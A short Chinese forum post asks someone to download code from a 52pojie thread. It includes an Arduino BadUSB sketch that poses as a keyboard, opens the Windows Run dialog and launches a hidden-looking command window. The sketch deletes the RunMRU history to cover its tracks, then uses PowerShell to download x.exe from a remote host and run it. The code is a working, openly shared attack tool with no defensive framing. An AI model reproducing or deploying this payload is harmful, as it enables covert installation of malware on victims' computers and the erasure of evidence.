谁有52账号,帮下忙
http://www.52pojie.cn/thread-428405-1-1.html可以帮忙下载一下代码吗?
十分感谢! 记得加分!
void setup() {//初始化,这里的代码只执行一次
Keyboard.begin();//开始键盘通讯
delay(3000);//延时 避免初始化对后面产生影响,不宜太短
Keyboard.press(KEY_LEFT_GUI);//按下win键
delay(500);
Keyboard.press('r');//按下r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);//释放win键
Keyboard.release('r');//释放r键
delay(500);
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");//输入并回车
delay(1000);
Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f");
delay(1000);
Keyboard.println("powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://192.168.1.102/x.exe';$file = ' C:\\x.exe ';$clnt.DownloadFile($url,$file);");
delay(3000);
Keyboard.println("c:\\x.exe&exit");
Keyboard.end();//结束键盘通讯
}
void loop()//循环,这里的代码无限循环
{
}
页:
[1]